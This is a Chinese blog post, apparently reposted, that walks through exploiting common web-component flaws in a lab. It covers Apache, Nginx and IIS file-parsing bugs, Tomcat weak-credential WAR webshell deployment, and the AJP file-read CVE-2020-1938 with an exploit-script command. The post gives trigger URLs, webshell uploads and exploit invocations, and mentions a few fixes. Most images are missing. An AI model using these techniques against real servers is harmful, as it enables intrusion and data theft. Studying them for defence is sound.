首页网文心情网络杂谈WEB端常见组件漏洞利用浅析

WEB端常见组件漏洞利用浅析

分类网络杂谈时间2021-02-28 22:36:37发布heikeyh浏览456
导读:测试环境操作系统 Windows、LinuxWeb 容器 Apache、Tomcat、Nginx、IIS中间件 php、java、python、perl数据库 MySQL、Oracle、SQL Server、Access、Redis其他组件 phpStudy、Weblo...
操作系统
 Windows、LinuxWeb 容器
 Apache、Tomcat、Nginx、IIS中间件
 php、java、python、perl数据库
 MySQL、Oracle、SQL Server、Access、Redis其他组件
 phpStudy、Weblogic、JBoss开发框架
 s2、thinkphp、vue

关注的问题

1. 组件与漏洞名称2. 影响版本3. 漏洞的检测4. 漏洞的复现5. 漏洞的利?(漏洞场景、?具)6. 修复?案


Apache

Apache 解析漏洞

在1.x 和2.x 的版本中。

常见组件漏洞


常见组件漏洞


常见组件漏洞


常见组件漏洞


上传png图片:

常见组件漏洞


上传一句话木马:

yjh.php

常见组件漏洞


常见组件漏洞


上传失败!

常见组件漏洞


修改文件名:

常见组件漏洞


常见组件漏洞


上传成功!

常见组件漏洞


蚁剑连接:

http://192.168.10.128/upload/yjh.php.wenxin
常见组件漏洞


常见组件漏洞


getShell成功!

问题原因:

yjh.php.wenxin Apache 会当做PHP ?件来解析。
Apache 从右侧向左解析后缀名。Apache/2.2.25 (Win32) mod_ssl/2.2.25 OpenSSL/0.9.8y PHP/5.2.17

Nginx

Nginx - 空字节漏洞

影响版本:

nginx 0.5.*nginx 0.6.*nginx 0.7 <= 0.7.65nginx 0.8 <= 0.8.37

环境:

常见组件漏洞


运行nginx:

常见组件漏洞


常见组件漏洞


常见组件漏洞


常见组件漏洞


常见组件漏洞


漏洞触发:

nginx version: nginx/0.7.65http://192.168.10.128/info.pnghttp://http://192.168.10.128/info.png%00.php


常见组件漏洞


Nginx - 解析漏洞

解析图???

与PHP-CGI 有关 cgi.fix_pathinfo

启动漏洞环境

常见组件漏洞


 docker-compose up -d


192.168.10.130

常见组件漏洞


制作图片木马:

常见组件漏洞


常见组件漏洞


上传:

常见组件漏洞


漏洞触发:

http://192.168.10.130/uploadfiles/6996efdd38b0767328bdfc1bbe7b932f.png/.php


常见组件漏洞


常见组件漏洞


常见组件漏洞


nginx 版本

nginx/1.17.4


常见组件漏洞


Nginx - ?件路径解析漏洞 - CVE-2013-4547

影响版本

Nginx 0.8.41 ~ 1.4.3Nginx 1.5.0 ~ 1.5.7

漏洞环境

登陆docker 环境

漏洞触发

# 上传图???[1_yjh.jpg ] // .jpg后面有一个空格
http://192.168.16.100:8080/uploadfiles/1_yjh.png
http://192.168.16.100:8080/uploadfiles/1_yjh.png[0x20][0x00].php


常见组件漏洞


常见组件漏洞


常见组件漏洞


常见组件漏洞


常见组件漏洞


其他:

常见组件漏洞


IIS

IIS 6.0 解析漏洞

漏洞环境

Windows 2003

// time.asp
<%=time()%>


常见组件漏洞


分号?件名截断

time.asptime.asp;.jpg
http://10.10.10.233:8000/time.asp;.jpg


常见组件漏洞


*.asp ?录解析错误

time.jpg
/1.asp/time.jpg		//time.asp--->time.jpghttp://10.10.10.233:8000/1.asp/time.jpg


常见组件漏洞


time.jpg放在1.asp下被当做.asp来解析!


IIS 7.0/7.5 解析漏洞

漏洞环境

Windows 2008IIS+PHP

漏洞的触发

http://192.168.16.193:8000/index.pnghttp://192.168.16.193:8000/index.png/.php


常见组件漏洞


漏洞防护

PHP-CGI1. cgi.fix_pathinfo = 02. 处理映射程序|编辑模块映射|请求限制|映射|对勾


常见组件漏洞


常见组件漏洞


常见组件漏洞


Tomcat

Tomcat 的安装与配置

直接解压

配置环境变量

C:\Program Files\Java\jdk1.8.0_131JAVA_HOME:C:\Program Files\Java\jdk1.8.0_131Path:%JAVA_HOME%\bin;%JAVA_HOME%\jre\bin;

启动Tomcat:

C:\apache-tomcat-8.5.32\bin>startup.bat


常见组件漏洞


nmap 扫描端?

sudo nmap -A -p- 192.168.10.130


常见组件漏洞


开启Tomcat 管理控制台manager 远程访问

/webapps/manager/META-INF/context.xml


常见组件漏洞


配置管理控制台账密

/conf/tomcat-users.xml


常见组件漏洞


弱?令到GetShell

使? tomcat/tomcat ,登录 Manager App 。

核?思路:通过管理控制台部署Web 应?,Web 应?就是后?!

将jsp ?件打包

jar cvf jshell.war jshell.jsphttp://192.168.16.193:8080/jshell/jshell.jsp

大马:jshell.jsp

常见组件漏洞


部署:

常见组件漏洞


大马密码:

常见组件漏洞


常见组件漏洞


常见组件漏洞


AJP LFI - CVE-2020-1938

2020年1?6?,国家信息安全漏洞共享平台(CNVD)收录了Apache Tomcat?件包含漏洞(CNVD-2020-10487,对应CVE-2020-1938)。攻击者利?该漏洞,可在未授权的情况下远程读取特定?录下的任意?件。

由于Tomcat 默认开启的AJP 服务(8009 端?)存在?处?件包含缺陷,攻击者可构造恶意的请求包进??件包含操作,进?读取受影响Tomcat 服务器上的Web?录?件。

影响版本

tomcat 6tomcat 7 < 7.0.100tomcat 8 < 8.5.51tomcat 9 < 9.0.31

漏洞利?

./CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.16.193 -p 8009 -f WEBINF/web.xml

脚本下载地址:

https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
常见组件漏洞


常见组件漏洞


创建hello.txt,并读取:

常见组件漏洞


常见组件漏洞


转载注明:  今日头条&TONY文心


Hackyh'Blog版权声明:以上内容作者已申请原创保护,未经允许不得转载,侵权必究!授权事宜、对本内容有异议或投诉,敬请联系网站管理员,我们将尽快回复您,谢谢合作!

网络技术
Windows7 | Windows8 | Windows8.1 | Windows10 微软MSDN原版纯净版系统下载 即使生命没有意义,但还是要好好过一生

游客 回复需填写必要信息
召唤伊斯特瓦尔